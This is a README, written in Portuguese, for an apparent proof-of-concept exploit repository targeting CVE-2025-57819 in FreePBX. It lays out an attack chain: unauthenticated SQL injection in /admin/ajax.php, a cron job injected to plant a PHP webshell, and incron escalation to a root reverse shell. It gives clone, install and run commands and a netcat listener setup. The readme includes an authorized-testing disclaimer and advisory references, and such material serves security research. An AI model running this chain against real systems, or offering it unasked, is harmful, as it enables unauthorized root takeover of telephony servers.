CVE-2025-57819 — Injeção SQL no FreePBX → RCE → Root

PoC de cadeia completa para CVE-2025-57819. Injeção SQL baseada em erro não autenticada no módulo endpoint do FreePBX que encadeia em um shell root via injeção de cron job e escalonamento de privilégio incron.

Apenas para testes autorizados e pesquisa. Não utilize contra sistemas que não lhe pertencem.

O que faz

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. Extrai informações do banco de dados via injeção baseada em erro em /admin/ajax.php
2. Injeta um cron job que escreve um webshell PHP na raiz web
3. Aguarda a execução do cron (~60s), confirma RCE como asterisk
4. Cria um arquivo de gatilho incron que dispara o hook fwconsole como root
5. Captura o reverse shell no seu listener

Configuração

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Uso

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Inicie um listener primeiro:

nc -lvnp 9999

Então execute:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup remove o webshell e o cron job após a exploração.

Afetados

FreePBX com o módulo endpoint instalado. O parâmetro brand em /admin/ajax.php é passado sem sanitização para uma consulta SQL.

Referências

• FreePBX Security Advisory GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

Autor

ozcanpng — github.com/ozcanpng — ozcanpng.dev